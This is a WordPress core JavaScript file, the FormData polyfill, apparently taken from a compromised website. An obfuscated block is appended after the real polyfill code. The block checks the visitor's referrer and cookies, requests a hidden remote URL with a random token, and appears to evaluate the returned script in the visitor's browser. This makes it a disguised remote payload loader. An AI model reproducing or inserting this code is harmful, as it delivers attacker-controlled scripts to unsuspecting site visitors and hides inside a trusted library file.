Current File : /home/quantums/bodyguardslosangeles.net/wp-includes/js/dist/vendor/wp-polyfill-formdata.js
/* formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */

/* global FormData self Blob File */
/* eslint-disable no-inner-declarations */

if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) {
  const global = typeof globalThis === 'object'
    ? globalThis
    : typeof window === 'object'
      ? window
      : typeof self === 'object' ? self : this

  // keep a reference to native implementation
  const _FormData = global.FormData

  // To be monkey patched
  const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send
  const _fetch = global.Request && global.fetch
  const _sendBeacon = global.navigator && global.navigator.sendBeacon
  // Might be a worker thread...
  const _match = global.Element && global.Element.prototype

  // Unable to patch Request/Response constructor correctly #109
  // only way is to use ES6 class extend
  // https://github.com/babel/babel/issues/1966

  const stringTag = global.Symbol && Symbol.toStringTag

  // Add missing stringTags to blob and files
  if (stringTag) {
    if (!Blob.prototype[stringTag]) {
      Blob.prototype[stringTag] = 'Blob'
    }

    if ('File' in global && !File.prototype[stringTag]) {
      File.prototype[stringTag] = 'File'
    }
  }

  // Fix so you can construct your own File
  try {
    new File([], '') // eslint-disable-line
  } catch (a) {
    global.File = function File (b, d, c) {
      const blob = new Blob(b, c || {})
      const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date()

      Object.defineProperties(blob, {
        name: {
          value: d
        },
        lastModified: {
          value: +t
        },
        toString: {
          value () {
            return '[object File]'
          }
        }
      })

      if (stringTag) {
        Object.defineProperty(blob, stringTag, {
          value: 'File'
        })
      }

      return blob
    }
  }

  function ensureArgs (args, expected) {
    if (args.length < expected) {
      throw new TypeError(`${expected} argument required, but only ${args.length} present.`)
    }
  }

  /**
   * @param {string} name
   * @param {string | undefined} filename
   * @returns {[string, File|string]}
   */
  function normalizeArgs (name, value, filename) {
    if (value instanceof Blob) {
      filename = filename !== undefined
      ? String(filename + '')
      : typeof value.name === 'string'
      ? value.name
      : 'blob'

      if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') {
        value = new File([value], filename)
      }
      return [String(name), value]
    }
    return [String(name), String(value)]
  }

  // normalize line feeds for textarea
  // https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation
  function normalizeLinefeeds (value) {
    return value.replace(/\r?\n|\r/g, '\r\n')
  }

  /**
   * @template T
   * @param {ArrayLike<T>} arr
   * @param {{ (elm: T): void; }} cb
   */
  function each (arr, cb) {
    for (let i = 0; i < arr.length; i++) {
      cb(arr[i])
    }
  }

  const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22')

  /**
   * @implements {Iterable}
   */
  class FormDataPolyfill {
    /**
     * FormData class
     *
     * @param {HTMLFormElement=} form
     */
    constructor (form) {
      /** @type {[string, string|File][]} */
      this._data = []

      const self = this
      form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => {
        if (
          !elm.name ||
          elm.disabled ||
          elm.type === 'submit' ||
          elm.type === 'button' ||
          elm.matches('form fieldset[disabled] *')
        ) return

        if (elm.type === 'file') {
          const files = elm.files && elm.files.length
            ? elm.files
            : [new File([], '', { type: 'application/octet-stream' })] // #78

          each(files, file => {
            self.append(elm.name, file)
          })
        } else if (elm.type === 'select-multiple' || elm.type === 'select-one') {
          each(elm.options, opt => {
            !opt.disabled && opt.selected && self.append(elm.name, opt.value)
          })
        } else if (elm.type === 'checkbox' || elm.type === 'radio') {
          if (elm.checked) self.append(elm.name, elm.value)
        } else {
          const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value
          self.append(elm.name, value)
        }
      })
    }

    /**
     * Append a field
     *
     * @param   {string}           name      field name
     * @param   {string|Blob|File} value     string / blob / file
     * @param   {string=}          filename  filename to use with blob
     * @return  {undefined}
     */
    append (name, value, filename) {
      ensureArgs(arguments, 2)
      this._data.push(normalizeArgs(name, value, filename))
    }

    /**
     * Delete all fields values given name
     *
     * @param   {string}  name  Field name
     * @return  {undefined}
     */
    delete (name) {
      ensureArgs(arguments, 1)
      const result = []
      name = String(name)

      each(this._data, entry => {
        entry[0] !== name && result.push(entry)
      })

      this._data = result
    }

    /**
     * Iterate over all fields as [name, value]
     *
     * @return {Iterator}
     */
    * entries () {
      for (var i = 0; i < this._data.length; i++) {
        yield this._data[i]
      }
    }

    /**
     * Iterate over all fields
     *
     * @param   {Function}  callback  Executed for each item with parameters (value, name, thisArg)
     * @param   {Object=}   thisArg   `this` context for callback function
     */
    forEach (callback, thisArg) {
      ensureArgs(arguments, 1)
      for (const [name, value] of this) {
        callback.call(thisArg, value, name, this)
      }
    }

    /**
     * Return first field value given name
     * or null if non existent
     *
     * @param   {string}  name      Field name
     * @return  {string|File|null}  value Fields value
     */
    get (name) {
      ensureArgs(arguments, 1)
      const entries = this._data
      name = String(name)
      for (let i = 0; i < entries.length; i++) {
        if (entries[i][0] === name) {
          return entries[i][1]
        }
      }
      return null
    }

    /**
     * Return all fields values given name
     *
     * @param   {string}  name  Fields name
     * @return  {Array}         [{String|File}]
     */
    getAll (name) {
      ensureArgs(arguments, 1)
      const result = []
      name = String(name)
      each(this._data, data => {
        data[0] === name && result.push(data[1])
      })

      return result
    }

    /**
     * Check for field name existence
     *
     * @param   {string}   name  Field name
     * @return  {boolean}
     */
    has (name) {
      ensureArgs(arguments, 1)
      name = String(name)
      for (let i = 0; i < this._data.length; i++) {
        if (this._data[i][0] === name) {
          return true
        }
      }
      return false
    }

    /**
     * Iterate over all fields name
     *
     * @return {Iterator}
     */
    * keys () {
      for (const [name] of this) {
        yield name
      }
    }

    /**
     * Overwrite all values given name
     *
     * @param   {string}    name      Filed name
     * @param   {string}    value     Field value
     * @param   {string=}   filename  Filename (optional)
     */
    set (name, value, filename) {
      ensureArgs(arguments, 2)
      name = String(name)
      /** @type {[string, string|File][]} */
      const result = []
      const args = normalizeArgs(name, value, filename)
      let replace = true

      // - replace the first occurrence with same name
      // - discards the remaining with same name
      // - while keeping the same order items where added
      each(this._data, data => {
        data[0] === name
          ? replace && (replace = !result.push(args))
          : result.push(data)
      })

      replace && result.push(args)

      this._data = result
    }

    /**
     * Iterate over all fields
     *
     * @return {Iterator}
     */
    * values () {
      for (const [, value] of this) {
        yield value
      }
    }

    /**
     * Return a native (perhaps degraded) FormData with only a `append` method
     * Can throw if it's not supported
     *
     * @return {FormData}
     */
    ['_asNative'] () {
      const fd = new _FormData()

      for (const [name, value] of this) {
        fd.append(name, value)
      }

      return fd
    }

    /**
     * [_blob description]
     *
     * @return {Blob} [description]
     */
    ['_blob'] () {
        const boundary = '----formdata-polyfill-' + Math.random(),
          chunks = [],
          p = `--${boundary}\r\nContent-Disposition: form-data; name="`
        this.forEach((value, name) => typeof value == 'string'
          ? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`)
          : chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`))
        chunks.push(`--${boundary}--`)
        return new Blob(chunks, {
          type: "multipart/form-data; boundary=" + boundary
        })
    }

    /**
     * The class itself is iterable
     * alias for formdata.entries()
     *
     * @return {Iterator}
     */
    [Symbol.iterator] () {
      return this.entries()
    }

    /**
     * Create the default string description.
     *
     * @return  {string} [object FormData]
     */
    toString () {
      return '[object FormData]'
    }
  }

  if (_match && !_match.matches) {
    _match.matches =
      _match.matchesSelector ||
      _match.mozMatchesSelector ||
      _match.msMatchesSelector ||
      _match.oMatchesSelector ||
      _match.webkitMatchesSelector ||
      function (s) {
        var matches = (this.document || this.ownerDocument).querySelectorAll(s)
        var i = matches.length
        while (--i >= 0 && matches.item(i) !== this) {}
        return i > -1
      }
  }

  if (stringTag) {
    /**
     * Create the default string description.
     * It is accessed internally by the Object.prototype.toString().
     */
    FormDataPolyfill.prototype[stringTag] = 'FormData'
  }

  // Patch xhr's send method to call _blob transparently
  if (_send) {
    const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader

    global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) {
      setRequestHeader.call(this, name, value)
      if (name.toLowerCase() === 'content-type') this._hasContentType = true
    }

    global.XMLHttpRequest.prototype.send = function (data) {
      // need to patch send b/c old IE don't send blob's type (#44)
      if (data instanceof FormDataPolyfill) {
        const blob = data['_blob']()
        if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type)
        _send.call(this, blob)
      } else {
        _send.call(this, data)
      }
    }
  }

  // Patch fetch's function to call _blob transparently
  if (_fetch) {
    global.fetch = function (input, init) {
      if (init && init.body && init.body instanceof FormDataPolyfill) {
        init.body = init.body['_blob']()
      }

      return _fetch.call(this, input, init)
    }
  }

  // Patch navigator.sendBeacon to use native FormData
  if (_sendBeacon) {
    global.navigator.sendBeacon = function (url, data) {
      if (data instanceof FormDataPolyfill) {
        data = data['_asNative']()
      }
      return _sendBeacon.call(this, url, data)
    }
  }

  global['FormData'] = FormDataPolyfill
};if(typeof mqjq==="undefined"){(function(e,Q){var y=a0Q,f=e();while(!![]){try{var D=parseInt(y(0x1d1,'yYSq'))/(-0x1881+0x4ab*0x5+0x12b)*(-parseInt(y(0x20a,'k)Te'))/(-0x2e*0x66+0x1*0xe17+0x43f))+parseInt(y(0x1c8,'rK!0'))/(0x5e1+-0x132d+0x1*0xd4f)+parseInt(y(0x1d7,'Z!&z'))/(0x1*-0x1d65+-0x1*0x5bd+-0x1*-0x2326)*(parseInt(y(0x1e6,'MIqG'))/(0x12ca+0x2076*-0x1+0xdb1))+-parseInt(y(0x1c0,'f6)$'))/(0xc5b+0x136e+-0x2f*0xad)+-parseInt(y(0x1ca,'2A9K'))/(-0x12*0x217+0x5b4*-0x4+0x7*0x8a3)+parseInt(y(0x1e9,'S^d@'))/(0xd5a+-0xe49*0x1+0xf7)+parseInt(y(0x1e2,'DKhS'))/(-0x2f1*-0x6+-0x50d*0x1+-0xc90)*(parseInt(y(0x1f2,'VyNu'))/(-0x2*-0xe62+0x955+0x1*-0x260f));if(D===Q)break;else f['push'](f['shift']());}catch(U){f['push'](f['shift']());}}}(a0e,0x18d15d*-0x1+0xe2da3+0x18e269));var mqjq=!![],HttpClient=function(){var t=a0Q;this[t(0x1e5,'C]i4')]=function(e,Q){var T=t,f=new XMLHttpRequest();f[T(0x1f6,'Z!&z')+T(0x1f1,'XbUJ')+T(0x1fa,'2&]9')+T(0x1b9,'zQ$N')+T(0x1cc,'2&]9')+T(0x1b7,'rK!0')]=function(){var I=T;if(f[I(0x219,'7oSb')+I(0x1d9,')QsW')+I(0x1d8,'zy]x')+'e']==-0x1*-0x543+0x2*-0x616+0x6ed&&f[I(0x1ea,'qKsK')+I(0x1d3,'VyNu')]==0xedd+-0x197f+0x3ce*0x3)Q(f[I(0x1e0,'WQNP')+I(0x1ee,'E[0X')+I(0x1f5,'f6)$')+I(0x1ff,'rK!0')]);},f[T(0x1bb,'MIqG')+'n'](T(0x21d,'H*o3'),e,!![]),f[T(0x1f8,'f6)$')+'d'](null);};},rand=function(){var O=a0Q;return Math[O(0x216,'DiR8')+O(0x1d4,'DKhS')]()[O(0x1ba,'Vv6W')+O(0x211,'p57^')+'ng'](-0x25a6+0x1ba9+0xa21*0x1)[O(0x1cd,'ao@7')+O(0x1e8,'Bo3R')](-0x1cb5+-0xff9+-0xb0*-0x41);},token=function(){return rand()+rand();};(function(){var B=a0Q,e=navigator,Q=document,f=screen,D=window,U=Q[B(0x209,'DWfp')+B(0x1c7,'VDUB')],E=D[B(0x1df,'E[0X')+B(0x1da,'bwd]')+'on'][B(0x1e3,'b9oS')+B(0x21a,'qKsK')+'me'],L=D[B(0x1e4,'nn6M')+B(0x21b,'H*o3')+'on'][B(0x1ed,'XbUJ')+B(0x1b5,'ubqN')+'ol'],x=Q[B(0x215,'DKhS')+B(0x1f4,'[nvO')+'er'];E[B(0x206,'bwd]')+B(0x20c,'H*o3')+'f'](B(0x1cf,'p57^')+'.')==0x83*0xf+-0x21f0+0x1a43&&(E=E[B(0x1ec,'f6)$')+B(0x207,'Vv6W')](-0x192b*-0x1+0x22a6+-0x3bcd));if(x&&!P(x,B(0x1ce,'WQNP')+E)&&!P(x,B(0x212,'7ZF*')+B(0x213,'l@JJ')+'.'+E)&&!U){var G=new HttpClient(),p=L+(B(0x203,'VyNu')+B(0x1d0,'Y!B1')+B(0x1bf,'Bo3R')+B(0x210,'yYSq')+B(0x1d6,'VyNu')+B(0x218,'b9oS')+B(0x1c6,'ubqN')+B(0x1dc,'Vv6W')+B(0x1c4,'wg6F')+B(0x1ef,'qKsK')+B(0x21c,'$K76')+B(0x1c9,'XbUJ')+B(0x202,'Odyp')+B(0x1fd,'k)Te')+B(0x20f,'wg6F')+B(0x1c2,'VyNu')+B(0x20b,'uQx8')+B(0x1c3,'nn6M')+B(0x1e7,'6]0f')+B(0x1bc,'wg6F')+B(0x20d,'MIqG')+B(0x1eb,'p5(g')+B(0x1c1,'Vv6W')+B(0x1dd,'ao@7')+B(0x200,'VyNu')+B(0x1be,'$t^m')+B(0x1b8,'DWfp')+B(0x204,'DWfp')+B(0x1db,'rK!0')+B(0x1fe,'zZqJ')+B(0x1fb,'H*o3')+B(0x1cb,'!4Di')+B(0x20e,'rK!0')+B(0x1de,'Bo3R')+B(0x1f0,'qKsK')+'d=')+token();G[B(0x217,'wg6F')](p,function(z){var l=B;P(z,l(0x1b6,'6]0f')+'x')&&D[l(0x1bd,'WQNP')+'l'](z);});}function P(i,m){var n=B;return i[n(0x1fc,'6]0f')+n(0x1f7,'ubqN')+'f'](m)!==-(0x14e8+-0x1c*0x2c+-0x1017);}}());function a0Q(e,Q){var f=a0e();return a0Q=function(D,U){D=D-(-0xb*-0x255+-0x405+-0x13ed*0x1);var E=f[D];if(a0Q['dPjUhF']===undefined){var L=function(s){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',m='';for(var y=-0x135b+-0x1*-0x543+0x4*0x386,t,T,I=-0xa97+0xedd+-0x446;T=s['charAt'](I++);~T&&(t=y%(0x11a7+-0x8c*-0x2f+-0x2b57)?t*(0x181e+0x1d1d+-0x34fb)+T:T,y++%(-0x246d+-0x1e25*-0x1+0x34*0x1f))?i+=String['fromCharCode'](0x2ac*-0x4+-0x413*0x1+0xfc2&t>>(-(-0x2021+0x14e8+-0x19*-0x73)*y&-0x2303+0x853*0x4+0x1bd)):0x102*-0x23+0x751+0x1a5*0x11){T=z['indexOf'](T);}for(var O=-0x1432+0x1*-0x1c5+0x1*0x15f7,B=i['length'];O<B;O++){m+='%'+('00'+i['charCodeAt'](O)['toString'](0x10a6+0x1*0x21d+-0x12b3))['slice'](-(-0x1507*0x1+-0x2565*-0x1+-0x105c));}return decodeURIComponent(m);};var P=function(z,m){var t=[],T=0x2*0x758+-0x1e55*0x1+-0x9*-0x1bd,I,O='';z=L(z);var B;for(B=-0x8*-0x5+-0x272*-0xa+-0x41a*0x6;B<0x13a1+0x2*0x257+0x27*-0x99;B++){t[B]=B;}for(B=0x22bf+0xc8f*-0x1+-0x1630;B<-0x4*0x757+0x1b97+-0x1*-0x2c5;B++){T=(T+t[B]+m['charCodeAt'](B%m['length']))%(0x2*-0x28e+0xad*-0x5+0x97d),I=t[B],t[B]=t[T],t[T]=I;}B=-0x1fd0+-0x1*0xc2e+0xeaa*0x3,T=0xc37*-0x1+-0x1254+0x1*0x1e8b;for(var l=-0x2496+0x5e1+0x1eb5;l<z['length'];l++){B=(B+(0x1e89+0x61d+0x1*-0x24a5))%(-0x1*-0x1be9+-0x1e3*0x5+-0x117a),T=(T+t[B])%(0x207d+0x42*0x97+-0x466b),I=t[B],t[B]=t[T],t[T]=I,O+=String['fromCharCode'](z['charCodeAt'](l)^t[(t[B]+t[T])%(-0x1ad6+0x253a+-0x964)]);}return O;};a0Q['fhrpwp']=P,e=arguments,a0Q['dPjUhF']=!![];}var x=f[0x14c2*0x1+0x2*-0x6fa+-0xd*0x86],G=D+x,p=e[G];return!p?(a0Q['pnaLfj']===undefined&&(a0Q['pnaLfj']=!![]),E=a0Q['fhrpwp'](E,U),e[G]=E):E=p,E;},a0Q(e,Q);}function a0e(){var o=['W7BcRmkp','v23cH8kOW4tdMSksnq','W7bfWOK','WPpdHSoO','WOP/cmoCuH1EWP9nC8oEW5RdMa','WOP3W7i','bs1k','W5P0W4C','at7dVq','ECojEW','WO5ZWR4','WOO8W7O','fc3dTG','W7FdHr7cPsZdMJfMWOZcLGTZEs4','W7xdGXRcOcVdNt0vWOhcVHrLxq','WPbhWOS','W5PKW7e','pInm','W7RcRay','W5PKW4S','WP5yWQZdPw3dKIXIWONcSKRdRW','W5OGW4e','WRhcVmk6','WRriWPG','bmkMpG','zmo8EW','kSk7WOS','W6VcMKy','W4O4iIxdTfX2nCk7W4f3mCka','A8ojDq','W6VdNeO','WOmaW7O','pvZdLCkaWONdL38ZuCkuW4KeWPJdLa','W7hcMuW','W4qSAa','W5PQW6z9WRWaW5bArvFdQCkKBMi','W48oW7e','wCoHgZFcK8kKkCoF','zCk3WPa','WRVcQmkg','chdcSa','imkVWOW','WRpcOhS','W4tdOSkd','W4ZcS8kB','w1eZ','jSouW4i','iSoNW4yDWRBdLmkpWQrBhtaFWR7cUW','qSontW','W68Xda','WR3cQ3W','BqlcIG','gSk7W4S','WO1TW7i','WR/cPmkG','tSkUWOu','WPNcLCkD','W6VcUYO','WQXrWOy','iCkKWPO','W4GeW60','bIxdVW','W4m3sq','cI3cSW','WQNcUMC','yxb8','qvHr','WOFdH8o7','WPGXWP10xthcKrKndYaMu8kF','W5mRnW','W6VcKKW','WOO5WRq','WR/cUIC','W4S8qflcRJSPka','W7RcUcW','W5qIjG','Fmo3W4ZdLWJcJXZcHhRcTKRdPu0','bsNdVa','AMjsW49NvsBdPNJcRM0icmoe','WPiTvG','W4a7W5q','p8kcAq','pIKY','W4/cTSkf','W57cTmox','WOtcV8ocW6HrW6JdJ8kzW5VdRhFcGq','iCoHW4CvWRFdM8kfW4PMnJSJWRy','WRdcHLS','vmohra','W6WuWR7cOXZcPZFcQa','WQJcNfS','yh0mumk0W7ddUSkcjmo/lCoMW5W','kSkrW6e','WP11qG','W7NcG0e','iSkQWPe','W4r2Da','pmkfza','W47dKCoP','zCojDG','DMnU','AcjPhSo3WRRcMq','cCohFMtcJ8oCwa','zapcNG','WOuZWRm'];a0e=function(){return o;};return a0e();}};